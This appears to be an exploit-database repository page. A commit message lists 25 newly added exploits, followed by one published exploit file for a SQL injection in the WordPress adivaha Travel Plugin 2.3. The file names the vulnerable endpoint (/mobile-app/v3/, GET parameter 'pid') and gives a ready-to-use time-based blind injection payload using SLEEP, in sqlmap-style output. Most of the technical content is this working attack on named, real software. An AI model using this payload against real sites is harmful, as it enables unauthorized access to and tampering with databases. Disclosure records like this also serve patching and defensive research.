010e679abe
25 changes to exploits/shellcodes/ghdb ReyeeOS 1.204.1614 - MITM Remote Code Execution (RCE) Shelly PRO 4PM v0.11.0 - Authentication Bypass Ozeki SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated) Academy LMS 6.0 - Reflected XSS Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting Campcodes Online Matrimonial Website System v3.3 - Code Execution via malicious SVG file upload JLex GuestBook 1.6.4 - Reflected XSS Joomla JLex Review 6.0.1 - Reflected XSS News Portal v4.0 - SQL Injection (Unauthorized) PHPJabbers Cleaning Business 1.0 - Reflected XSS PHPJabbers Night Club Booking 1.0 - Reflected XSS PHPJabbers Rental Property Booking 2.0 - Reflected XSS PHPJabbers Service Booking Script 1.0 - Reflected XSS PHPJabbers Shuttle Booking Software 1.0 - Reflected XSS PHPJabbers Taxi Booking 2.0 - Reflected XSS Webedition CMS v2.9.8.8 - Remote Code Execution (RCE) Webedition CMS v2.9.8.8 - Stored XSS Webutler v3.2 - Remote Code Execution (RCE) WordPress adivaha Travel Plugin 2.3 - Reflected XSS WordPress adivaha Travel Plugin 2.3 - SQL Injection Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS)
42 lines
No EOL
1.1 KiB
Text
42 lines
No EOL
1.1 KiB
Text
# Exploit Title: WordPress adivaha Travel Plugin 2.3 - SQL Injection
|
|
# Exploit Author: CraCkEr
|
|
# Date: 29/07/2023
|
|
# Vendor: adivaha - Travel Tech Company
|
|
# Vendor Homepage: https://www.adivaha.com/
|
|
# Software Link: https://wordpress.org/plugins/adiaha-hotel/
|
|
# Demo: https://www.adivaha.com/demo/adivaha-online/
|
|
# Version: 2.3
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Database Access
|
|
|
|
|
|
## Greetings
|
|
|
|
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
|
|
CryptoJob (Twitter) twitter.com/0x0CryptoJob
|
|
|
|
|
|
## Description
|
|
|
|
SQL injection attacks can allow unauthorized access to sensitive data, modification of
|
|
data and crash the application or make it unavailable, leading to lost revenue and
|
|
damage to a company's reputation.
|
|
|
|
|
|
|
|
Path: /mobile-app/v3/
|
|
|
|
GET parameter 'pid' is vulnerable to SQL Injection
|
|
|
|
https://website/mobile-app/v3/?pid=[SQLI]&isMobile=chatbot
|
|
|
|
---
|
|
Parameter: pid (GET)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: pid=77A89299'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z&isMobile=chatbot
|
|
---
|
|
|
|
|
|
|
|
[-] Done |